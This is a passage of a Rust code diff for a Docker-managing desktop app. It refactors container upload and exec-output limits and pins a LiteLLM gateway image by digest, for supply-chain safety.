+/// pane's upload via `upload_host_file_with_ids`. Between them they are how
+/// host bytes enter a container. [`MAX_DROP_BYTES`] is applied to what the
+/// open descriptor actually yields, not to an earlier `stat`.
+pub(crate) fn read_host_file_for_upload(host_path: &str) -> Result<Vec<u8>, String> {
+    let file = std::fs::File::open(host_path)
+        .map_err(|e| format!("Failed to read {}: {}", host_path, e))?;
+    crate::commands::file_commands::verify_opened_path(&file, std::path::Path::new(host_path))?;
+    let mut data = Vec::new();
+    std::io::Read::read_to_end(
+        &mut std::io::Read::take(file, MAX_DROP_BYTES.saturating_add(1)),
+        &mut data,
+    )
+    .map_err(|e| format!("Failed to read {}: {}", host_path, e))?;
+    if data.len() as u64 > MAX_DROP_BYTES {
+        return Err(format!(
+            "File too large to upload (limit {} MB)",
+            MAX_DROP_BYTES / (1024 * 1024)
+        ));
+    }
+    Ok(data)
+}
+
 /// Join a container directory to a name that may itself carry separators.
 ///
 /// Only the *reported* path — the bytes have already landed by the time this is
 /// called — but that path is what the terminal echoes and what the Files pane
 /// puts in its toast, so `/tmp//x` reading back as a different file than `/tmp/x`
 /// is worth the four lines. `"/"` trims to `""` and yields `/x`.
-fn container_join(dir: &str, name: &str) -> String {
+pub(crate) fn container_join(dir: &str, name: &str) -> String {
     format!("{}/{}", dir.trim_end_matches('/'), name.trim_start_matches('/'))
 }
 
 /// Write `data` into the container at `<dest_dir>/<file_name>` with `mode`.
 ///
 /// For small, generated files — migration uses it for the `tar -T` include
-/// list, which can be too long to pass as argv. Anything large should be
+/// list, which can be too long to pass as argv, and the marketplace sync for
+/// its payload tar and script. Anything large should be
 /// streamed through an attached exec's stdin instead, since this buffers the
 /// whole payload in memory twice (once raw, once tarred).
 pub async fn upload_bytes_to_container(
@@ -443,13 +284,22 @@ pub async fn upload_bytes_to_container(
     file_name: &str,
     data: &[u8],
     mode: u32,
+) -> Result<String, String> {
+    upload_bytes_with_ids(container_id, dest_dir, file_name, data, mode, (0, 0)).await
+}
+
+/// [`upload_bytes_to_container`] with the tar header's owner set, stamped now.
+pub async fn upload_bytes_with_ids(
+    container_id: &str,
+    dest_dir: &str,
+    file_name: &str,
+    data: &[u8],
+    mode: u32,
+    (uid, gid): (u64, u64),
 ) -> Result<String, String> {
     let docker = get_docker()?;
 
-    // Root-owned on purpose: the only caller is migration, whose `tar -T` list
-    // is read back as root. The mtime still gets stamped so the file doesn't
-    // read as 1970.
-    let tar_buf = build_single_file_tar(file_name, data, mode, 0, 0, now_epoch_secs())?;
+    let tar_buf = build_single_file_tar(file_name, data, mode, uid, gid, now_epoch_secs())?;
 
     docker
         .upload_to_container(
@@ -519,14 +369,29 @@ pub fn now_epoch_secs() -> u64 {
 /// container. Falls back to 1000:1000 (the image's build-time ids) if the exec
 /// fails, which is strictly better than the 0:0 a default tar header carries.
 pub async fn container_user_ids(container_id: &str) -> (u64, u64) {
-    let out = exec_oneshot_limited(
+    let (out, _) = exec_oneshot_limited(
         container_id,
-        vec!["sh".to_string(), "-c".to_string(), "id -u; id -g".to_string()],
-        256,
+        "claude",
+        user_ids_cmd(),
+        USER_IDS_OUTPUT_LIMIT,
     )
     .await
     .unwrap_or_default();
+    parse_user_ids(&out)
+}
 
+/// The command [`container_user_ids`] runs (as `claude`, under
+/// [`USER_IDS_OUTPUT_LIMIT`]); every host asks the same question.
+pub(crate) fn user_ids_cmd() -> Vec<String> {
+    vec!["sh".to_string(), "-c".to_string(), "id -u; id -g".to_string()]
+}
+
+/// Output ceiling for the uid probe: two short numbers.
+pub(crate) const USER_IDS_OUTPUT_LIMIT: usize = 256;
+
+/// `id -u; id -g` output -> `(uid, gid)`, falling back to the image's
+/// build-time `(1000, 1000)`.
+pub(crate) fn parse_user_ids(out: &str) -> (u64, u64) {
     let mut ids = out.lines().filter_map(|l| l.trim().parse::<u64>().ok());
     match (ids.next(), ids.next()) {
         (Some(uid), Some(gid)) => (uid, gid),
@@ -541,9 +406,12 @@ pub async fn container_user_ids(container_id: &str) -> (u64, u64) {
 /// caller sees a byte, and what it is reading is *container-controlled* — the
 /// scheduler notifications reader `cat`s up to 50 files with no size cap, and
 /// the auth bridge reads `/proc/net/tcp` every two seconds. Neither has an
-/// upstream bound, so this is where the bound goes. Generous enough that no
-/// legitimate reader (the largest is a package manifest of a full image) comes
-/// close.
+/// upstream bound, so this is where the bound goes. It is the default, not a
+/// promise that every reader fits: the migration manifest of a running
+/// container did pass it (8.6 MB from a busy `/workspace`), and now runs under
+/// its own `migration::MANIFEST_OUTPUT_LIMIT` through [`exec_oneshot_limited`].
+/// A reader that can legitimately grow with the user's files should do the
+/// same rather than raise this.
 pub const MAX_ONESHOT_OUTPUT: usize = 8 * 1024 * 1024;
 
 /// The auth bridge's per-tick budget. It reads two procfs files whose rows are
@@ -584,16 +452,20 @@ pub async fn exec_oneshot(container_id: &str, cmd: Vec<String>) -> Result<String
     exec_oneshot_env(container_id, cmd, Vec::new()).await
 }
 
-/// [`exec_oneshot`] with a caller-chosen output ceiling, for readers whose
-/// input is fully container-controlled and whose legitimate output is small.
+/// A one-shot exec as `user` with a caller-chosen output ceiling, returning the
+/// combined output and the exit code.
+///
+/// For readers whose budget is not [`MAX_ONESHOT_OUTPUT`]: smaller where the
+/// input is container-controlled and the legitimate output tiny (the auth
+/// bridge's procfs poll, the uid probe), larger where it can genuinely pass
+/// 8 MiB (the migration manifest, as root).
 pub async fn exec_oneshot_limited(
     container_id: &str,
+    user: &str,
     cmd: Vec<String>,
     limit: usize,
-) -> Result<String, String> {
-    exec_oneshot_inner(container_id, "claude", cmd, Vec::new(), limit)
-        .await
-        .map(|(output, _)| output)
+) -> Result<(String, i64), String> {
+    exec_oneshot_inner(container_id, user, cmd, Vec::new(), limit).await
 }
 
 /// Like `exec_oneshot`, but passes additional environment variables to the exec
@@ -647,21 +519,54 @@ pub async fn exec_oneshot_as(
 /// fail". `stdout_ranges` indexes the parts of it that came from stdout, so a
 /// caller that is *parsing* output can have just that without the buffer being
 /// held twice.
-struct OneshotOutput {
+pub(crate) struct OneshotOutput {
     combined: Vec<u8>,
     stdout_ranges: Vec<(usize, usize)>,
-    exit_code: i64,
+    pub(crate) exit_code: i64,
+}
+
+/// The refusal for output past `limit`, starting with [`OUTPUT_LIMIT_MARKER`].
+pub(crate) fn output_limit_error(limit: usize) -> String {
+    format!(
+        "{}: Command output exceeded {} bytes and was abandoned",
+        OUTPUT_LIMIT_MARKER, limit
+    )
 }
 
 impl OneshotOutput {
+    pub(crate) fn new() -> Self {
+        Self {
+            combined: Vec::new(),
+            stdout_ranges: Vec::new(),
+            exit_code: 0,
+        }
+    }
+
+    /// Append one chunk in arrival order, or refuse it (appending nothing)
+    /// once the combined output would pass `limit`. The caller must stop
+    /// reading on an error rather than truncate silently: every caller parses
+    /// this output, and a half-read manifest or JSON array is worse than an
+    /// error.
+    pub(crate) fn push(&mut self, from_stdout: bool, bytes: &[u8], limit: usize) -> Result<(), String> {
+        match push_capped(&mut self.combined, bytes, limit) {
+            Some(range) => {
+                if from_stdout {
+                    self.stdout_ranges.push(range);
+                }
+                Ok(())
+            }
+            None => Err(output_limit_error(limit)),
+        }
+    }
+
     /// Everything the command printed, in the order it printed it.
-    fn text(&self) -> String {
+    pub(crate) fn text(&self) -> String {
         String::from_utf8_lossy(&self.combined).into_owned()
     }
 
     /// stdout alone — for callers that parse it, where a diagnostic spliced in
     /// mid-record is a parse error at best.
-    fn stdout(&self) -> String {
+    pub(crate) fn stdout(&self) -> String {
         let mut out = Vec::with_capacity(self.combined.len());
         for (start, end) in &self.stdout_ranges {
             out.extend_from_slice(&self.combined[*start..*end]);
@@ -670,7 +575,7 @@ impl OneshotOutput {
     }
 
     /// stderr alone — the complement of [`Self::stdout`], i.e. the diagnostics.
-    fn stderr(&self) -> String {
+    pub(crate) fn stderr(&self) -> String {
         let mut out = Vec::with_capacity(self.combined.len());
         let mut cursor = 0usize;
         for (start, end) in &self.stdout_ranges {
@@ -739,8 +644,7 @@ async fn exec_oneshot_raw(
         .await
         .map_err(|e| format!("Failed to start exec: {}", e))?;
 
-    let mut combined: Vec<u8> = Vec::new();
-    let mut stdout_ranges: Vec<(usize, usize)> = Vec::new();
+    let mut out = OneshotOutput::new();
     match result {
         StartExecResults::Attached { mut output, .. } => {
             while let Some(msg) = output.next().await {
@@ -748,23 +652,9 @@ async fn exec_oneshot_raw(
                     Ok(data) => {
                         let from_stdout = matches!(data, LogOutput::StdOut { .. });
                         let bytes = data.into_bytes();
-                        match push_capped(&mut combined, &bytes, limit) {
-                            Some(range) => {
-                                if from_stdout {
-                                    stdout_ranges.push(range);
-                                }
-                            }
-                            // Stop reading rather than truncate silently: every
-                            // caller parses this output, and a half-read
-                            // manifest or JSON array is worse than an error.
-                            // Dropping `output` kills the exec's stream.
-                            None => {
-                                return Err(format!(
-                                    "{}: Command output exceeded {} bytes and was abandoned",
-                                    OUTPUT_LIMIT_MARKER, limit
-                                ))
-                            }
-                        }
+                        // Over the limit: returning drops `output`, which
+                        // kills the exec's stream.
+                        out.push(from_stdout, &bytes, limit)?;
                     }
                     Err(e) => return Err(format!("Exec output error: {}", e)),
                 }
@@ -775,13 +665,8 @@ async fn exec_oneshot_raw(
 
     // The output stream draining doesn't strictly guarantee inspect_exec has the
     // final exit_code populated yet, so poll until the exec reports finished.
-    let exit_code = require_exit_code(wait_for_exec_exit(&exec.id).await)?;
-
-    Ok(OneshotOutput {
-        combined,
-        stdout_ranges,
-        exit_code,
-    })
+    out.exit_code = require_exit_code(wait_for_exec_exit(&exec.id).await)?;
+    Ok(out)
 }
 
 /// Turn "the exit code could not be determined" into an error rather than a 0.
@@ -814,7 +699,7 @@ fn require_exit_code(code: Option<i64>) -> Result<i64, String> {
 /// spurious "the rename failed" and a real one.
 pub async fn wait_for_exec_exit(exec_id: &str) -> Option<i64> {
     let docker = get_docker().ok()?;
-    for _ in 0..200 {
+    for _ in 0..EXEC_EXIT_POLLS {
         match docker.inspect_exec(exec_id).await {
             Ok(info) => {
                 if info.running != Some(true) {
@@ -833,30 +718,27 @@ pub async fn wait_for_exec_exit(exec_id: &str) -> Option<i64> {
             }
             Err(_) => return None,
         }
-        tokio::time::sleep(std::time::Duration::from_millis(25)).await;
+        tokio::time::sleep(EXEC_EXIT_POLL_INTERVAL).await;
     }
     None
 }
 
+/// [`wait_for_exec_exit`]'s budget: polls, and the pause between them. Every
+/// host's `wait_exec_exit` uses the same numbers.
+pub(crate) const EXEC_EXIT_POLLS: usize = 200;
+pub(crate) const EXEC_EXIT_POLL_INTERVAL: std::time::Duration = std::time::Duration::from_millis(25);
+
 #[cfg(test)]
 mod tests {
     use super::*;
 
     /// The frames a demultiplexed exec hands back, as `(is_stdout, bytes)`.
     fn collect(frames: &[(bool, &[u8])]) -> OneshotOutput {
-        let mut combined = Vec::new();
-        let mut stdout_ranges = Vec::new();
+        let mut out = OneshotOutput::new();
         for (from_stdout, bytes) in frames {
-            let range = push_capped(&mut combined, bytes, usize::MAX).unwrap();
-            if *from_stdout {
-                stdout_ranges.push(range);
-            }
-        }
-        OneshotOutput {
-            combined,
-            stdout_ranges,
-            exit_code: 0,
+            out.push(*from_stdout, bytes, usize::MAX).unwrap();
         }
+        out
     }
 
     #[test]
@@ -915,10 +797,7 @@ mod tests {
         // The marker is what lets `list_container_files` say "too many entries"
         // instead, which is the thing that actually happened.
         assert!(!OUTPUT_LIMIT_MARKER.is_empty());
-        let refusal = format!(
-            "{}: Command output exceeded {} bytes and was abandoned",
-            OUTPUT_LIMIT_MARKER, MAX_ONESHOT_OUTPUT
-        );
+        let refusal = output_limit_error(MAX_ONESHOT_OUTPUT);
         assert!(refusal.starts_with(OUTPUT_LIMIT_MARKER));
     }
 

app/src-tauri/src/docker/gateway.rs

@@ -21,7 +21,7 @@
 //!   `docker inspect`.
 
 use bollard::container::{
-    Config, CreateContainerOptions, ListContainersOptions, RemoveContainerOptions,
+    Config, CreateContainerOptions, ListContainersOptions,
     StartContainerOptions, StopContainerOptions, UploadToContainerOptions,
 };
 use bollard::image::BuildImageOptions;
@@ -45,11 +45,180 @@ const GATEWAY_CONFIG_VOLUME: &str = "triple-c-gateway-config";
 /// Upstream LiteLLM, pinned to an exact release.
 ///
 /// LiteLLM 1.82.7 and 1.82.8 shipped credential-harvesting malware on PyPI, so
-/// nothing here may float a tag or resolve `litellm` at build time. v1.96.0 is
-/// also above the 1.84.0 floor set by the proxy auth-bypass CVEs — see the long
-/// comment in `gateway-container/Dockerfile`, and keep the two in lockstep.
-const GATEWAY_REGISTRY_IMAGE: &str = "ghcr.io/berriai/litellm:v1.96.0";
-const GATEWAY_LOCAL_IMAGE: &str = "triple-c-gateway:latest";
+/// nothing here may float a tag or resolve `litellm` at build time. v1.106.6 is
+/// also above the floors set by the proxy auth-bypass, SSRF and salt-key CVEs —
+/// see the long comment in `gateway-container/Dockerfile`, and keep the two in
+/// lockstep.
+const GATEWAY_REGISTRY_REPO: &str = "ghcr.io/berriai/litellm";
+const GATEWAY_LITELLM_VERSION: &str = "v1.106.6";
+
+/// The digest [`GATEWAY_REGISTRY_REPO`]:[`GATEWAY_LITELLM_VERSION`] is pinned to — the same one the
+/// Dockerfile's `FROM` uses. Pulls and lookups go by digest: a tag can be
+/// re-pushed upstream, a digest cannot.
+const GATEWAY_REGISTRY_DIGEST: &str =
+    "sha256:37e2dafb088a7723beb998590682957386dfc83ffea1848486f8e0e5cfac0b06";
+
+fn registry_image_ref() -> String {
+    format!("{}@{}", GATEWAY_REGISTRY_REPO, GATEWAY_REGISTRY_DIGEST)
+}
+
+/// Local builds are tagged with the pin plus a hash of the embedded build
+/// context (`triple-c-gateway:v1.106.6-1a2b3c4d`), never a floating tag. A
+/// build made by an app version with a different pin *or* a different
+/// Dockerfile/config then simply doesn't match, instead of quietly winning
+/// over the current image the way the old `triple-c-gateway:latest` tag did.
+/// Builds tagged `latest` by earlier app versions are no longer used.
+const GATEWAY_LOCAL_REPO: &str = "triple-c-gateway";
+
+/// The LiteLLM release this app is pinned to — the tag of
+/// [`GATEWAY_REGISTRY_REPO`]:[`GATEWAY_LITELLM_VERSION`], e.g. `v1.106.6`.
+fn pinned_litellm_version() -> &'static str {
+    GATEWAY_LITELLM_VERSION
+}
+
+fn local_image_ref() -> String {
+    static REF: OnceLock<String> = OnceLock::new();
+    REF.get_or_init(|| {
+        // config.yaml is hashed whole: a `#` line can sit inside a block
+        // scalar there, and it is rarely edited.
+        let context = sha256_hex(&format!(
+            "{}\0{}",
+            significant_lines(GATEWAY_DOCKERFILE),
+            GATEWAY_DEFAULT_CONFIG
+        ));
+        format!(
+            "{}:{}-{}",
+            GATEWAY_LOCAL_REPO,
+            pinned_litellm_version(),
+            &context[..8]
+        )
+    })
+    .clone()
+}
+
+/// The Dockerfile minus full-line comments and blank lines, so rewording a
+/// comment in a later release doesn't make every local build look outdated.
+/// Parser directives (`# syntax=`, `# escape=`, `# check=`) look like comments
+/// but change the build, so they are kept.
+fn significant_lines(text: &str) -> String {
+    text.lines()
+        .map(str::trim_end)
+        .filter(|l| {
+            let t = l.trim_start();
+            if t.is_empty() {
+                return false;
+            }
+            match t.strip_prefix('#') {
+                None => true,
+                Some(rest) => rest
+                    .split_once('=')
+                    .map(|(key, _)| key.trim())
+                    .is_some_and(|key| matches!(key, "syntax" | "escape" | "check")),
+            }
+        })
+        .collect::<Vec<_>>()
+        .join("\n")
+}
+
+/// The image the gateway container should run, and its content id. The id goes
+/// into the container fingerprint so that a newly pulled or rebuilt image
+/// recreates the container instead of leaving the old one running.
+#[derive(Debug, Clone, PartialEq)]
+struct ChosenImage {
+    reference: String,
+    id: String,
+}
+
+/// Local build first (same precedence as the STT container), then the pinned
+/// upstream image. Both references name the pin, so either is current.
+fn choose_gateway_image(local_id: Option<String>, registry_id: Option<String>) -> Option<ChosenImage> {
+    local_id
+        .map(|id| ChosenImage {
+            reference: local_image_ref(),
+            id,
+        })
+        .or_else(|| {
+            registry_id.map(|id| ChosenImage {
+                reference: registry_image_ref(),
+                id,
+            })
+        })
+}
+
+/// The existing gateway container, as far as `ensure` and status need it.
+#[derive(Debug, Clone)]
+struct GatewayContainer {
+    id: String,
+    state: String,
+    /// The config-fingerprint label it was created with.
+    fingerprint: String,
+    image_id: Option<String>,
+}
+
+/// Ids of the locally present images that carry the current pin.
+#[derive(Debug, Clone, Default, PartialEq)]
+struct PinnedImages {
+    local: Option<String>,
+    registry: Option<String>,
+}
+
+impl PinnedImages {
+    fn chosen(&self) -> Option<ChosenImage> {
+        choose_gateway_image(self.local.clone(), self.registry.clone())
+    }
+}
+
+/// A failed lookup of one image doesn't hide the other. An error is returned
+/// only when it leaves the answer unknown — so "Docker is unreachable" is not
+/// mistaken for "image missing".
+async fn pinned_images() -> Result<PinnedImages, String> {
+    let (local_ref, registry_ref) = (local_image_ref(), registry_image_ref());
+    let (local, registry) = tokio::join!(
+        super::migration::image_id(&local_ref),
+        super::migration::image_id(&registry_ref)
+    );
+    match (local, registry) {
+        (Ok(local), Ok(registry)) => Ok(PinnedImages { local, registry }),
+        // The local build is preferred, so it alone decides when present.
+        (Ok(Some(local)), Err(e)) => {
+            log::warn!("{}", e);
+            Ok(PinnedImages {
+                local: Some(local),
+                registry: None,
+            })
+        }
+        // But a failed lookup of the preferred local build leaves the answer
+        // unknown even when the registry image is there: choosing the
+        // registry image would swap a working local-build gateway over.
+        (Err(e), _) | (_, Err(e)) => Err(e),
+    }
+}
+
+/// Whether the container should be moved onto `pinned` — the image half of
+/// [`needs_recreate`]. A container whose image id is unknown counts as not on
+/// it, in both places.
+fn image_switch_pending(existing_image_id: Option<&str>, pinned: &ChosenImage) -> bool {
+    existing_image_id != Some(pinned.id.as_str())
+}
+
+/// Status's `image_outdated`: the container exists and isn't on a pinned
+/// image. With a pinned image present this is exactly [`image_switch_pending`]
+/// — what the next start or settings save acts on. With none (`Some(None)`) it
+/// is outdated, but `ensure` keeps it as is until one is pulled or built.
+/// `None` means the image check failed: unknown is reported as not outdated
+/// rather than guessed.
+fn container_image_outdated(
+    container_exists: bool,
+    container_image_id: Option<&str>,
+    chosen: Option<Option<&ChosenImage>>,
+) -> bool {
+    match chosen {
+        _ if !container_exists => false,
+        Some(Some(pinned)) => image_switch_pending(container_image_id, pinned),
+        Some(None) => true,
+        None => false,
+    }
+}
 
 const GATEWAY_DOCKERFILE: &str = include_str!("../../../../gateway-container/Dockerfile");
 const GATEWAY_DEFAULT_CONFIG: &str = include_str!("../../../../gateway-container/config.yaml");
@@ -200,6 +369,27 @@ async fn bridge_gateway_ip(docker: &Docker) -> Option<String> {
         .find_map(|c| c.gateway.filter(|g| !g.trim().is_empty()))
 }
 
+/// Config and secret version only — the same format earlier versions wrote,
+/// so updating the app doesn't by itself recreate every gateway. Image changes
+/// are handled separately by [`needs_recreate`].
+fn gateway_fingerprint(config_shape: &str, secret_version: &str) -> String {
+    sha256_hex(&format!("{}|{}", config_shape, secret_version))
+}
+
+/// The one rule for replacing an existing container: its config changed, or a
+/// pinned image is present and the container runs something else. With no
+/// pinned image (`pinned: None`) the container keeps its current image.
+/// [`container_image_outdated`] reports the image half of this to the UI.
+fn needs_recreate(
+    existing_fingerprint: &str,
+    fingerprint: &str,
+    existing_image_id: Option<&str>,
+    pinned: Option<&ChosenImage>,
+) -> bool {
+    existing_fingerprint != fingerprint
+        || pinned.is_some_and(|p| image_switch_pending(existing_image_id, p))
+}
+
 fn sha256_hex(input: &str) -> String {
     let mut hasher = Sha256::new();
     hasher.update(input.as_bytes());
@@ -207,23 +397,32 @@ fn sha256_hex(input: &str) -> String {
 }
 
 pub async fn get_gateway_status(settings: &GatewaySettings) -> Result<GatewayStatus, String> {
-    let image_exists = super::image::image_exists(GATEWAY_REGISTRY_IMAGE)
-        .await
-        .unwrap_or(false)
-        || super::image::image_exists(GATEWAY_LOCAL_IMAGE)
-            .await
-            .unwrap_or(false);
-
-    let (container_exists, running) = match find_gateway_container().await? {
-        Some((_, state, _)) => (true, state == "running"),
+    let (pinned, container) = tokio::join!(pinned_images(), find_gateway_container());
+    let chosen = match pinned {
+        Ok(p) => Some(p.chosen()),
+        Err(e) => {
+            log::warn!("Gateway image check failed: {}", e);
+            None
+        }
+    };
+    let image_exists = matches!(chosen, Some(Some(_)));
+    let container = container?;
+    let (container_exists, running) = match &container {
+        Some(c) => (true, c.state == "running"),
         None => (false, false),
     };
+    let image_outdated = container_image_outdated(
+        container_exists,
+        container.as_ref().and_then(|c| c.image_id.as_deref()),
+        chosen.as_ref().map(|c| c.as_ref()),
+    );
 
     Ok(GatewayStatus {
         container_exists,
         running,
         port: settings.port,
         image_exists,
+        image_outdated,
         model_count: settings.valid_models().len(),
         has_api_key: secure::has_gateway_api_key(),
         base_url: gateway_binding().await.base_url(settings.port),
@@ -234,7 +433,7 @@ pub async fn get_gateway_status(settings: &GatewaySettings) -> Result<GatewaySta
 /// settings reconcile, which must not start anything the user never started.
 pub async fn gateway_container_presence() -> Result<(bool, bool), String> {
     Ok(match find_gateway_container().await? {
-        Some((_, state, _)) => (true, state == "running"),
+        Some(c) => (true, c.state == "running"),
         None => (false, false),
     })
 }
@@ -251,8 +450,8 @@ fn is_gateway_container(names: Option<&Vec<String>>) -> bool {
     names.is_some_and(|names| names.iter().any(|n| n == &expected))
 }
 
-/// `(id, state, config fingerprint label)` for the gateway container, if any.
-async fn find_gateway_container() -> Result<Option<(String, String, String)>, String> {
+/// The gateway container, if any.
+async fn find_gateway_container() -> Result<Option<GatewayContainer>, String> {
     let docker = get_docker()?;
 
     let filters: HashMap<String, Vec<String>> = HashMap::from([(
@@ -283,7 +482,14 @@ async fn find_gateway_container() -> Result<Option<(String, String, String)>, St
             .cloned()
             .unwrap_or_default();
 
-        return Ok(Some((id, state, fingerprint)));
+        let image_id = container.image_id.clone().filter(|s| !s.is_empty());
+
+        return Ok(Some(GatewayContainer {
+            id,
+            state,
+            fingerprint,
+            image_id,
+        }));
     }
 
     Ok(None)
@@ -428,28 +634,11 @@ async fn upload_config(container_id: &str, config: &str) -> Result<(), String> {
 async fn create_gateway_container(
     settings: &GatewaySettings,
     binding: &GatewayBinding,
+    image: &ChosenImage,
     fingerprint: &str,
 ) -> Result<String, String> {
     let docker = get_docker()?;
 
-    // Local build first, then the pinned upstream image — same precedence as
-    // the STT container.
-    let image = if super::image::image_exists(GATEWAY_LOCAL_IMAGE)
-        .await
-        .unwrap_or(false)
-    {
-        GATEWAY_LOCAL_IMAGE.to_string()
-    } else if super::image::image_exists(GATEWAY_REGISTRY_IMAGE)
-        .await
-        .unwrap_or(false)
-    {
-        GATEWAY_REGISTRY_IMAGE.to_string()
-    } else {
-        return Err(
-            "Gateway image not found. Please pull or build the image first.".to_string(),
-        );
-    };
-
     let mut port_bindings = HashMap::new();
     port_bindings.insert(
         format!("{}/tcp", GATEWAY_INTERNAL_PORT),
@@ -490,7 +679,9 @@ async fn create_gateway_container(
     );
 
     let config = Config {
-        image: Some(image),
+        // The resolved id, not the tag: a build or pull retagging the image
+        // mid-create can't make the container disagree with its fingerprint.
+        image: Some(image.id.clone()),
         // The upstream entrypoint (`docker/prod_entrypoint.sh`) execs
         // `litellm "$@"`. Passed explicitly so the pulled upstream image and
         // our locally built one behave identically.
@@ -521,6 +712,20 @@ async fn create_gateway_container(
     Ok(response.id)
 }
 
+/// Stops a running container gracefully first, with Docker's default grace as
+/// before (so in-flight LiteLLM requests can drain; the shorter
+/// [`GATEWAY_STOP_GRACE_SECS`] is for app exit), then removes it, tolerating
+/// one already gone.
+async fn remove_gateway_container(docker: &Docker, id: &str, state: &str) -> Result<(), String> {
+    if state == "running" {
+        docker
+            .stop_container(id, None::<StopContainerOptions>)
+            .await
+            .map_err(|e| format!("Failed to stop gateway container: {}", e))?;
+    }
+    super::container::remove_container(id).await
+}
+
 /// Serialises every mutation of the single fixed-name gateway container.
 ///
 /// `ensure_gateway_running` is check-then-act over one container name, so two
@@ -564,14 +769,66 @@ async fn ensure_gateway_running_locked(
 
     // Rotation id, not a hash of either secret — see `storage::secure`.
     let secret_version = secure::get_gateway_secret_version()?.unwrap_or_default();
-    let fingerprint = sha256_hex(&format!(
-        "{}|{}",
-        config_shape(settings, &binding),
-        secret_version
-    ));
+    let (existing, pinned) = tokio::join!(find_gateway_container(), pinned_images());
+    let existing = existing?;
+    // A failed image lookup must not fail a gateway that's fine as it is: it
+    // takes the same path as "no pinned image" and keeps the current image.
+    let mut lookup_error = None;
+    let chosen = match pinned {
+        Ok(pinned) => pinned.chosen(),
+        Err(e) => {
+            log::warn!("Gateway image check failed: {}", e);
+            lookup_error = Some(e);
+            None
+        }
+    };
+    let on_pin = chosen.is_some();
+    let image = match chosen {
+        Some(image) => image,
+        // No pinned image yet (after an app update moved the pin, until the
+        // user pulls or builds). Never tear down a working gateway over that:
+        // keep it on the image it already runs — recreated with the new
+        // config if that changed — and let status report it as outdated.
+        None => match existing.as_ref().and_then(|c| c.image_id.clone()) {
+            Some(id) => {
+                log::warn!(
+                    "Gateway image for LiteLLM {} not present; keeping the gateway on its current image {}",
+                    pinned_litellm_version(),
+                    id
+                );
+                ChosenImage {
+                    reference: id.clone(),
+                    id,
+                }
+            }
+            None => {
+                return Err(match lookup_error {
+                    Some(e) => e,
+                    None => format!(
+                        "Gateway image for LiteLLM {} not found. Please pull or build the image first.",
+                        pinned_litellm_version()
+                    ),
+                })
+            }
+        },
+    };
 
-    if let Some((id, state, existing_fingerprint)) = find_gateway_container().await? {
-        if existing_fingerprint == fingerprint {
+    let fingerprint = gateway_fingerprint(&config_shape(settings, &binding), &secret_version);
+
+    if let Some(GatewayContainer {
+        id,
+        state,
+        fingerprint: existing_fingerprint,
+        image_id: existing_image_id,
+    }) = existing
+    {
+        let pinned = on_pin.then_some(&image);
+        if !needs_recreate(
+            &existing_fingerprint,
+            &fingerprint,
+            existing_image_id.as_deref(),
+            pinned,
+        ) {
             if state == "running" {
                 return get_gateway_status(settings).await;
             }
@@ -582,41 +839,21 @@ async fn ensure_gateway_running_locked(
             return get_gateway_status(settings).await;
         }
 
-        // Config or a secret changed — recreate so the new config is uploaded.
-        if state == "running" {
-            docker
-                .stop_container(&id, None::<StopContainerOptions>)
-                .await
-                .map_err(|e| format!("Failed to stop gateway container: {}", e))?;
-        }
-        docker
-            .remove_container(
-                &id,
-                Some(RemoveContainerOptions {
-                    force: true,
-                    ..Default::default()
-                }),
-            )
-            .await
-            .map_err(|e| format!("Failed to remove gateway container: {}", e))?;
+        // Config, a secret or the image changed — recreate so the new config
+        // is uploaded and the pinned image is used.
+        remove_gateway_container(&docker, &id, &state).await?;
     }
 
-    let id = create_gateway_container(settings, &binding, &fingerprint).await?;
+    let id = create_gateway_container(settings, &binding, &image, &fingerprint).await?;
 
     // Upload before the first start: LiteLLM reads the config once at boot.
     let rendered = render_config(settings, &api_key, &master_key);
     if let Err(e) = upload_config(&id, &rendered).await {
         // Don't leave a half-configured container behind for the next run to
         // mistake for a good one.
-        let _ = docker
-            .remove_container(
-                &id,
-                Some(RemoveContainerOptions {
-                    force: true,
-                    ..Default::default()
-                }),
-            )
-            .await;
+        if let Err(cleanup) = super::container::remove_container(&id).await {
+            log::warn!("{}", cleanup);
+        }
         return Err(e);
     }
 
@@ -626,12 +863,12 @@ async fn ensure_gateway_running_locked(
         .map_err(|e| format!("Failed to start gateway container: {}", e))?;
 
     log::info!(
-        "Model gateway started on {}:{} ({} model(s))",
+        "Model gateway started on {}:{} ({} model(s), {})",
         binding.host_ip,
         settings.port,
-        settings.valid_models().len()
+        settings.valid_models().len(),
+        image.reference
     );
-
     get_gateway_status(settings).await
 }
 
@@ -645,7 +882,7 @@ pub async fn stop_gateway_container() -> Result<(), String> {
     let _guard = gateway_lock().lock().await;
     let docker = get_docker()?;
 
-    if let Some((id, state, _)) = find_gateway_container().await? {
+    if let Some(GatewayContainer { id, state, .. }) = find_gateway_container().await? {
         if state == "running" {
             docker
                 .stop_container(
@@ -689,7 +926,27 @@ pub async fn pull_gateway_image<F>(on_progress: F) -> Result<(), String>
 where
     F: Fn(String) + Send + 'static,
 {
-    super::image::pull_image(GATEWAY_REGISTRY_IMAGE, on_progress).await
+    super::image::pull_image(&registry_image_ref(), on_progress).await?;
+    // A pull by digest leaves the image untagged, which `docker image prune`
+    // treats as dangling and deletes. Tag it locally; lookups still go by
+    // digest, so a re-pushed upstream tag changes nothing.
+    // Not fatal: the image is present and will be used either way.
+    if let Err(e) = get_docker()?
+        .tag_image(
+            &registry_image_ref(),
+            Some(bollard::image::TagImageOptions {
+                repo: GATEWAY_REGISTRY_REPO,
+                tag: GATEWAY_LITELLM_VERSION,
+            }),
+        )
+        .await
+    {
+        log::warn!(
+            "Pulled the gateway image but could not tag it (a prune may remove it): {}",
+            e
+        );
+    }
+    Ok(())
 }
 
 pub async fn build_gateway_image<F>(on_progress: F) -> Result<(), String>
@@ -701,8 +958,9 @@ where
     let tar_bytes = create_gateway_build_context()
         .map_err(|e| format!("Failed to create gateway build context: {}", e))?;
 
+    let tag = local_image_ref();
     let options = BuildImageOptions {
-        t: GATEWAY_LOCAL_IMAGE,
+        t: tag.as_str(),
         rm: true,
         forcerm: true,
         ..Default::default()
@@ -784,6 +1042,111 @@ mod tests {
         }
     }
 
+    fn chosen(reference: &str, id: &str) -> ChosenImage {
+        ChosenImage {
+            reference: reference.to_string(),
+            id: id.to_string(),
+        }
+    }
+
+    #[test]
+    fn local_builds_are_tagged_with_the_pin_and_context() {
+        let v = pinned_litellm_version();
+        assert!(v.starts_with('v') && !v.contains(['/', '@', ':']), "bad pin tag {v:?}");
+        let tag = local_image_ref();
+        let suffix = tag
+            .strip_prefix(&format!("triple-c-gateway:{}-", v))
